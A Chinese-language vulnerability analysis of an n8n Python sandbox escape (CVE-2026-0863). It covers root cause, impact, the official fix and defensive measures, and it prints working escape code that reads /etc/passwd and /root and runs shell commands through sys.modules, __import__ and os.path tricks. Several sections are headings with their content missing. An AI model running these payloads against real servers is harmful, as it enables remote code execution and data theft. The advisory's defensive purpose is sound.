网硕互联帮助中心一、漏洞核心信息全景梳理
| 漏洞编号 | CVE-2026-0863 |
| 影响产品 | n8n 开源工作流自动化平台（Python Task Executor 节点相关版本） |
| 受影响版本 | 未修复 Python 沙箱权限控制与模块过滤缺陷的所有版本（官方已发布补丁版本） |
| 漏洞类型 | 服务器端沙箱逃逸（Sandbox Escape）→ 任意代码执行（RCE） |
| CVSS 评分 | 9.8（关键级，CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H） |
| 漏洞触发条件 | 攻击者可访问 n8n 后台并创建/编辑 Python Task Executor 节点（未做严格权限管控时可匿名利用） |
| 漏洞公开状态 | 已公开POC，存在被批量利用的风险 |
| 官方修复状态 | 已发布正式安全补丁，提供版本升级路径 |
n8n 作为一款轻量、开源的工作流自动化工具，被广泛应用于企业内部数据同步、第三方服务集成、自动化运维等场景，其 Python Task Executor 节点是核心自定义功能模块，允许用户编写自定义 Python 代码实现个性化业务逻辑，而该模块的沙箱设计缺陷直接导致了本次高危漏洞的产生，成为攻击者突破系统边界的关键入口。
二、n8n Python 沙箱设计背景与核心痛点
2.1 沙箱设计的初衷与业务诉求
在低代码/无代码自动化平台中，自定义代码执行节点是提升产品灵活性的核心功能，n8n 设计 Python Task Executor 沙箱的核心目标是实现**“灵活定制”与“系统安全”的平衡**：
为实现上述目标，n8n 早期的 Python 沙箱采用了**“应用层轻量隔离”**的设计思路，未引入底层虚拟化或专用沙箱引擎，这也为后续的沙箱逃逸埋下了技术隐患。
2.2 未修复前的沙箱实现机制
n8n 早期 Python 沙箱的核心实现由4个核心模块组成，整体防护逻辑集中在应用层，未触及 Python 解释器底层和操作系统进程隔离：
这种实现方式的优势是轻量、低开销、适配性强，不会对 n8n 服务的性能造成明显影响，符合轻量自动化平台的产品定位；但劣势也极为突出——防护逻辑存在明显的“穿透性”，攻击者可通过 Python 语言的动态特性轻松绕过应用层过滤，实现沙箱逃逸。
2.3 开源自动化平台沙箱的共性设计痛点
CVE-2026-0863 并非个例，而是开源低代码/无代码平台自定义代码沙箱的共性问题，核心痛点集中在三点：
三、CVE-2026-0863 漏洞原理深度剖析
3.1 漏洞核心根源
本次漏洞的核心根源在于 n8n 沙箱的**“防护维度单一”和“过滤机制不彻底”**，具体体现在两个方面：
简单来说，n8n 沙箱的防护逻辑相当于“在大门上装了一把锁，却把钥匙放在了门口的花盆里”，看似有防护措施，实则为攻击者留下了明确的利用路径。
3.2 核心逃逸路径：sys 模块旁路利用
sys 模块是 Python 解释器的核心内置模块，用于访问和修改解释器的运行时环境，被 n8n 沙箱误判为“安全模块”并纳入白名单，而这正是本次漏洞利用的核心入口。
3.2.1 利用原理
Python 解释器在启动时，会自动加载一系列核心模块到内存中，并存放在 sys.modules 字典中，该字典包含了当前解释器中已加载的所有模块，无论沙箱是否禁止其直接导入。攻击者可通过白名单内的 sys 模块访问 sys.modules，直接获取沙箱禁止的 os、subprocess 等危险模块的引用，从而绕过模块白名单过滤。
3.2.2 分步利用代码与解析
# 步骤1：导入白名单允许的 sys 模块（沙箱无任何拦截）
import sys
# 步骤2：从 sys.modules 中获取已加载的 os 模块引用
# 即使沙箱禁止直接 import os，os 模块已被解释器提前加载，可直接获取
os_module = sys.modules.get("os")
# 步骤3：动态获取 os 模块的 popen 方法，绕过明文关键字过滤
# 沙箱仅检测原始代码中的 "os.popen" 关键字，无法识别 getattr 动态调用
popen_func = getattr(os_module, "popen")
# 步骤4：执行任意系统命令，获取命令输出
# popen 方法执行系统命令并返回文件对象，read() 读取输出结果
cmd_result = popen_func("whoami && cat /etc/passwd && ls -l /root").read()
# 步骤5：将结果输出到 n8n 工作流，实现敏感信息外带
# n8n 沙箱对普通打印输出无严格过滤，结果直接展示在节点执行日志中
print("漏洞利用结果：\\n", cmd_result)
上述代码无任何明文的危险关键字和直接的危险模块导入，沙箱的静态过滤机制无法识别，可顺利执行并实现任意系统命令执行。
3.3 备选逃逸路径：内置函数与语法特性绕过
除了核心的 sys 模块利用路径，攻击者还可通过 Python 的内置函数和语法特性实现沙箱逃逸，进一步证明了 n8n 沙箱防护机制的脆弱性，以下为两种典型的备选路径：
3.3.1 路径2：利用 builtins.import 动态导入危险模块
__import__() 是 Python 的内置函数，是 import 语句的底层实现，负责导入模块并返回模块引用。n8n 沙箱仅过滤了 import 语句，未对 __import__() 内置函数进行限制，攻击者可直接调用该函数动态导入危险模块，绕过模块白名单过滤。
# 步骤1：获取 Python 内置命名空间的 __import__ 函数
# builtins 模块是 Python 的核心内置模块，无需导入可直接使用
import_func = __import__
# 步骤2：调用 __import__ 函数动态导入 os 模块
os_module = import_func("os")
# 步骤3：执行系统命令，实现沙箱逃逸
os_module.system("touch /tmp/n8n_cve_2026_0863_exp && echo 'sandbox escape success' > /tmp/n8n_cve_2026_0863_exp")
3.3.2 路径3：利用模块属性链间接获取危险方法
Python 中部分安全模块与危险模块存在隐式的属性关联，攻击者可通过这种属性链间接获取危险方法，实现绕过滤。例如，os.path 模块是 os 模块的子模块，若沙箱允许导入 os.path（部分版本的白名单包含该子模块），攻击者可通过 os.path 反向获取 os 模块的引用。
# 步骤1：导入沙箱允许的 os.path 子模块
from os import path
# 步骤2：通过 path 模块的 __module__ 属性反向获取 os 模块
os_module = __import__(path.__module__)
# 步骤3：利用 os 模块执行任意命令
result = os_module.popen("netstat -anp | grep 5678").read() # 查看 n8n 服务端口
print(result)
3.4 漏洞利用的进阶操作：从命令执行到服务器受控
攻击者成功实现沙箱逃逸并执行任意系统命令后，可通过一系列进阶操作实现对 n8n 所在服务器的完全控制，形成完整的攻击链：
四、漏洞复现：环境搭建与实操验证
4.1 复现环境准备
本次复现采用Docker 快速部署方式，兼顾环境的便捷性和一致性，适用于安全研究人员和企业安全运维人员验证漏洞：
4.2 完整复现步骤
4.3 复现注意事项
五、漏洞危害全景评估
结合 n8n 的应用场景、漏洞的利用难度和攻击后果，CVE-2026-0863 的危害可分为直接危害和间接危害，覆盖从平台自身到企业整个信息系统，甚至涉及企业商业利益和合规风险：
5.1 直接危害：平台自身与服务器安全受损
5.2 间接危害：企业信息系统与商业利益受损
5.3 合规风险：企业违反相关网络安全法规
在我国，《网络安全法》《数据安全法》《个人信息保护法》等法律法规对企业的网络安全和数据安全提出了明确要求，CVE-2026-0863 漏洞被利用后，企业可能面临合规风险：
5.4 漏洞利用的风险等级划分
根据攻击者的身份和利用目的，可将漏洞利用的风险等级划分为三个级别，企业可根据自身情况进行针对性防护：
| 低风险 | 外部脚本小子 | 测试漏洞、植入挖矿程序 | 关闭外网访问、启用基础认证 |
| 中风险 | 黑灰产从业者 | 窃取敏感信息、进行勒索攻击 | 及时修复漏洞、加强日志监控 |
| 高风险 | 高级持续性威胁（APT）攻击者 | 内网横向渗透、窃取商业机密 | 实现多层防护、部署入侵检测系统 |
六、官方修复方案与技术细节解析
6.1 官方修复版本与升级路径
n8n 官方在漏洞披露后，迅速发布了安全补丁版本，所有受影响版本的用户均应立即升级，具体升级路径如下：
官方建议用户升级到 0.240.0 及以上版本，该版本已彻底修复本次沙箱逃逸漏洞，并对沙箱安全进行了全面加固。
6.2 官方核心修复技术细节
n8n 官方的修复并非简单的“增加关键字过滤”或“修改白名单”，而是对 Python 沙箱进行了全方位的重构，从根本上解决了沙箱逃逸问题，核心修复措施包括以下四点：
重构模块白名单，移除高危核心模块
彻底将 sys、builtins、os.path 等可被利用的模块从白名单中移除，仅保留 math、json、datetime、re 等无任何危险接口的纯功能模块，从源头切断攻击者的利用入口。同时，对模块的子模块进行严格限制，禁止导入任何危险模块的子模块。
禁用 Python 解释器的危险内置函数和特性
通过自定义 Python 解释器环境，禁用了 __import__()、getattr()、setattr() 等可用于动态调用的内置函数，同时限制了 sys.modules、__module__、__dict__ 等模块和对象的属性访问，让攻击者无法通过动态语法绕过过滤。
实现 Python 子进程的底层权限隔离
不再以 n8n 主进程的权限运行 Python 子进程，而是创建专用的低权限系统用户运行沙箱进程，该用户仅拥有读取和执行 n8n 工作目录的最小权限，无法访问服务器的敏感目录（如 /root、/etc）和文件，即使攻击者实现沙箱逃逸，也无法执行高权限操作，实现了“即使逃逸，也无法造成重大危害”的防护目标。
引入动态代码检测，替代静态关键字过滤
放弃传统的静态关键字过滤，引入Python 抽象语法树（AST）解析技术，对用户提交的代码进行动态语法分析，识别并拦截所有危险的代码逻辑，包括动态调用、属性链访问、异常处理中的逃逸操作等，实现了对攻击代码的全方位检测。
6.3 官方修复的额外安全增强
除了针对本次漏洞的核心修复，n8n 官方还在最新版本中增加了多项安全增强功能，提升了整个平台的安全性：
七、企业级防御方案：从紧急处置到长期加固
对于企业用户而言，仅升级官方补丁并不足以完全防范此类沙箱逃逸漏洞，需要结合自身的网络安全架构，构建**“紧急处置-中期防护-长期加固”**的三层企业级防御体系，实现对 n8n 平台及类似自定义代码执行节点的全方位安全防护。
7.1 紧急处置措施（0-72小时）：快速阻断漏洞利用路径
针对已部署 n8n 平台的企业，若暂时无法立即升级版本，需采取以下紧急处置措施，快速阻断漏洞利用路径，降低被攻击的风险：
7.2 中期防护措施（7天内）：实现多层安全防护
企业在完成紧急处置后，需在7天内完成中期防护措施，结合网络安全设备和平台自身配置，实现多层安全防护，弥补单一防护机制的不足：
7.3 长期加固措施（长期执行）：构建安全开发生命周期与防护体系
沙箱逃逸漏洞的本质是产品设计阶段的安全考虑不足，企业要从根本上防范此类漏洞，需要跳出“事后修复”的思维，构建全生命周期的网络安全防护体系，同时对所有开源组件进行常态化的安全管理：
八、开源低代码平台沙箱安全的前瞻性思考与行业建议
CVE-2026-0863 漏洞暴露了开源低代码/无代码平台沙箱安全的普遍问题，随着低代码/无代码技术的快速普及，自定义代码执行沙箱已成为网络安全的重要风险点，结合当前的技术发展趋势，对开源低代码平台沙箱安全进行前瞻性思考，并提出行业级的防护建议。
8.1 前瞻性思考：沙箱安全的未来发展趋势
8.2 行业建议：针对不同主体的防护与发展建议
8.2.1 对开源低代码平台开发团队的建议
8.2.2 对企业用户的建议
8.2.3 对网络安全行业的建议
九、总结与反思
CVE-2026-0863 n8n Python Task Executor 沙箱逃逸漏洞是开源低代码/无代码平台安全问题的一个典型缩影，其暴露的不仅是单个产品的设计缺陷，更是整个行业在“功能快速迭代”与“网络安全防护”之间的失衡问题。
本次漏洞的核心教训在于：任何安全防护机制，若仅停留在应用层的简单过滤，而未实现底层的强隔离和全方位的动态检测，最终都将被攻击者突破。对于开源低代码平台开发团队而言，安全不是产品的“附加功能”，而是产品的“核心属性”，必须将安全纳入产品设计、开发、测试、部署的全生命周期；对于企业用户而言，开源组件的“开箱即用”并不意味着“安全可用”，必须建立常态化的开源组件安全管理机制，构建多层安全防护体系，才能有效防范各类安全漏洞。
随着低代码/无代码技术的快速普及，其在企业数字化转型中的作用将越来越重要，而网络安全作为数字化转型的底线，也将成为行业发展的核心议题。未来，只有开源平台开发团队、企业用户、网络安全行业三方协同发力，才能构建更加安全、可靠的低代码/无代码生态，让低代码/无代码技术在保障网络安全的前提下，为企业数字化转型赋能。
同时，本次漏洞也提醒我们，网络安全防护是一个持续的过程，没有一劳永逸的防护方案，企业和开发团队必须保持对网络安全的敬畏之心，持续关注安全漏洞信息，及时更新防护策略，才能在日益复杂的网络安全环境中，守住网络安全的底线。
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